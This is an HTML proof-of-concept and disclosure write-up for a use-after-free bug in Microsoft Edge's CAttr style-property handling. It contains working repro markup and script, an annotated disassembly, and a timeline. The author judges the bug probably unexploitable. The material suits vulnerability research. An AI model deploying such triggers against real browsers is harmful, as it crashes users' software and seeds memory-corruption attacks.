<!--
Source: http://blog.skylined.nl/20161115001.html
Synopsis
A specially crafted web-page can cause Microsoft Edge to free memory used for a CAttr object. The code continues to use the data in freed memory block immediately after freeing it. It does not appear that there is enough time between the free and reuse to exploit this issue.
Known affected software and attack vectors
Microsoft Edge 11.0.10240.16384
An attacker would need to get a target user to open a specially crafted web-page. Java is not necessarily required to trigger the issue.
Repro
<x style="
background-image: inherit;
text-decoration: line-through;
height: 0;
width: 0;
top: 0;
left: 0;
right: 0;
bottom: 0;
font: menu;">
Alternatively:
<body id=x style=margin:5 onload=x.style.remove("margin")>
Description
When an element is created and style properties are added, these are stored in a CAttr object. A new CAttr is able to store up to 8 properties. If more properties need to be stored, the code will allocate memory for a larger CAttr and copy the existing properties into this new object before freeing the old memory. The code will then continue to use the freed memory almost immediately. In the first repro, the "font" style property is the ninth property and triggers this issue. In the second repro, the only property of a CAttr is removed, at which point it is freed but no new object is allocated. However, the code follows the same path and also reuses the freed memory.
Exploit
What little investigation I did appears to indicate that there is no way to reallocate the freed memory before its reuse. It is therefore probably not possible to exploit this issue that way. I did not investigate how the freed memory is used by the code exactly, and I did not look into other methods to exploit the issue. I did create a second repro that triggers the issue "on-demand" from Javascript but, as is to be expected, no Javascript is executed between the free and the re-use.
-->
<x id=x style="background-image: inherit;text-decoration: line-through;height: 0;width: 0;top: 0;left: 0;right: 0;bottom: 0;"><script>
window.onload = function () {
// This Po attempts to exploit a use-after-free bug in Microsoft Edge
// See http://blog.skylined.nl/20161115001.html for details.
// The CAttr is full, adding another style property will cause Edge to
// allocate a larger CAttr, copy everything and free the old one.
// The old one then continues to be used almost immediately:
x.style.set("font", "menu");
// This work by Sky is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
};
</script>
<!--
The code
Below you can find an annotated disassembly for the CAttr::Destroy function, which calls CAttr::Set (in which the memory is freed) before looping and re-using the memory. This loop shows there is very little time between the two events in which to reallocate the memory and attempt to control its contents. There also does not appear to be much this function can be made to do if the memory could be controlled.
EDGEHTML!CAttr::Destroy:
6175024f 8bff mov edi,edi
61750251 55 push ebp
61750252 8bec mov ebp,esp
61750254 83e4f8 and esp,0FFFFFFF8h
61750257 83ec2c sub esp,2Ch
6175025a 8b510c mov edx,dword ptr [ecx+0Ch]
6175025d 8bc2 mov eax,edx
6175025f 53 push ebx
61750260 d1e8 shr eax,1
61750262 894c240c mov dword ptr [esp+0Ch],ecx
61750266 56 push esi
61750267 57 push edi
61750268 a801 test al,1
6175026a 0f85b56f3600 jne EDGEHTML!CAttr::Destroy+0x366fd6 (61ab7225)
{
61ab7225 cc int 3
61ab7226 e94590c9ff jmp EDGEHTML!CAttr::Destroy+0x21 (61750270)
}
61750270 8b5d08 mov ebx,dword ptr [ebp+8]
61750273 8d7c2428 lea edi,[esp+28h]
61750277 c1e304 shl ebx,4
6175027a 035908 add ebx,dword ptr [ecx+8]
6175027d 8bf3 mov esi,ebx
6175027f 803b04 cmp byte ptr [ebx],4
61750282 a5 movs dword ptr es:[edi],dword ptr [esi]
61750283 a5 movs dword ptr es:[edi],dword ptr [esi]
61750284 a5 movs dword ptr es:[edi],dword ptr [esi]
61750285 a5 movs dword ptr es:[edi],dword ptr [esi]
61750286 752d jne EDGEHTML!CAttr::Destroy+0x66 (617502b5)
{
617502b5 8bcb mov ecx,ebx
617502b7 e870e4ffff call EDGEHTML!CAttr::Get (6174e72c)
617502bc 8b742414 mov esi,dword ptr [esp+14h]
617502c0 8bca mov ecx,edx
617502c2 c1e004 shl eax,4
617502c5 83e20f and edx,0Fh
617502c8 2bc8 sub ecx,eax
617502ca 83e1f0 and ecx,0FFFFFFF0h
617502cd 0bca or ecx,edx
617502cf 894e0c mov dword ptr [esi+0Ch],ecx
617502d2 0fb74302 movzx eax,word ptr [ebx+2]
617502d6 a808 test al,8
617502d8 752c jne EDGEHTML!CAttr::Destroy+0xb7 (61750306)
{
617502da 8b560c mov edx,dword ptr [esi+0Ch] ;<--------------.
617502dd f6c208 test dl,8 ; \
617502e0 0f95c1 setne cl ; |
617502e3 f6430201 test byte ptr [ebx+2],1 ; REUSE |
617502e7 0f95c0 setne al ; |
617502ea 84c8 test al,cl ; |
617502ec 8bce mov ecx,esi ; |
617502ee 7498 je EDGEHTML!CAttr::Destroy+0x39 (61750288) ; >----, |
617502f0 b301 mov bl,1 ; | |
617502f2 eb96 jmp EDGEHTML!CAttr::Destroy+0x3b (6175028a) ; >--- | --. |
} ; | | |
61750306 803b09 cmp byte ptr [ebx],9 ; | | /|
61750309 74cf je EDGEHTML!CAttr::Destroy+0x8b (617502da) ; >--- | - | --' |
6175030b 8d442418 lea eax,[esp+18h] ; | | |
6175030f 8bcb mov ecx,ebx ; | | |
61750311 50 push eax ; | | |
61750312 e89efeffff call EDGEHTML!CAttr::Get (617501b5) ; | | |
61750317 0fb74b02 movzx ecx,word ptr [ebx+2] ; | | |
6175031b 81e1efff0000 and ecx,0FFEFh ; | | |
61750321 f6430380 test byte ptr [ebx+3],80h ; | | |
61750325 7526 jne EDGEHTML!CAttr::Destroy+0xfe (6175034d) ; | | |
{ ; | | |
6175034d 33c0 xor eax,eax ; V V ^
6175034f ebd9 jmp EDGEHTML!CAttr::Destroy+0xdb (6175032a) ; | | |
} else { ; | | |
61750327 8b4304 mov eax,dword ptr [ebx+4] ; | | |
} ; | | |
6175032a 6a01 push 1 ; | | |
6175032c 6a01 push 1 ; | | |
6175032e 51 push ecx ; | | |
6175032f 6a09 push 9 ; | | |
61750331 8d4c2428 lea ecx,[esp+28h] ; | | |
61750335 51 push ecx ; | | |
61750336 50 push eax ; | | |
61750337 8bcb mov ecx,ebx ; | | |
61750339 e8eee3ffff call EDGEHTML!CAttr::Get (6174e72c) ; | | |
6175033e 50 push eax ; | | |
6175033f 8d44242f lea eax,[esp+2Fh] ; | | |
61750343 8bce mov ecx,esi ; | | |
61750345 50 push eax ; | | |
61750346 e8258a0800 call EDGEHTML!CAttr::Set (617d8d70) ; FREE | | /
6175034b eb8d jmp EDGEHTML!CAttr::Destroy+0x8b (617502da) ; >--- | - | ---'
} ; | |
61750288 33db xor ebx,ebx ;<-----' |
6175028a d1ea shr edx,1 ;<---------'
6175028c f6c201 test dl,1
6175028f 0f85966f3600 jne EDGEHTML!CAttr::Destroy+0x366fdc (61ab722b)
{
61ab722b cc int 3
61ab722c e96490c9ff jmp EDGEHTML!CAttr::Destroy+0x46 (61750295)
}
61750295 ff7508 push dword ptr [ebp+8]
61750298 6a10 push 10h
6175029a e8b1e01400 call EDGEHTML!CImpl::Delete (6189e350)
6175029f 8d4c2428 lea ecx,[esp+28h]
617502a3 e8ae000000 call EDGEHTML!CAttr::Free (61750356)
617502a8 84db test bl,bl
617502aa 7548 jne EDGEHTML!CAttr::Destroy+0xa5 (617502f4)
{
617502f4 8b4c2414 mov ecx,dword ptr [esp+14h]
617502f8 6a03 push 3
617502fa 68eb030180 push 800103EBh
617502ff e8ac3e0c00 call EDGEHTML!CAttr::Delete (618141b0)
61750304 eba6 jmp EDGEHTML!CAttr::Destroy+0x5d (617502ac)
}
617502ac 5f pop edi
617502ad 5e pop esi
617502ae 5b pop ebx
617502af 8be5 mov esp,ebp
617502b1 5d pop ebp
617502b2 c20400 ret 4
Time-line
September 2015: This vulnerability was found through fuzzing.
September 2015: This vulnerability was submitted to ZDI.
September 2015: This vulnerability was rejected by ZDI.
November 2016: The issue no longer reproduces in Microsoft Edge.
November 2016: Details of this issue are released.
-->
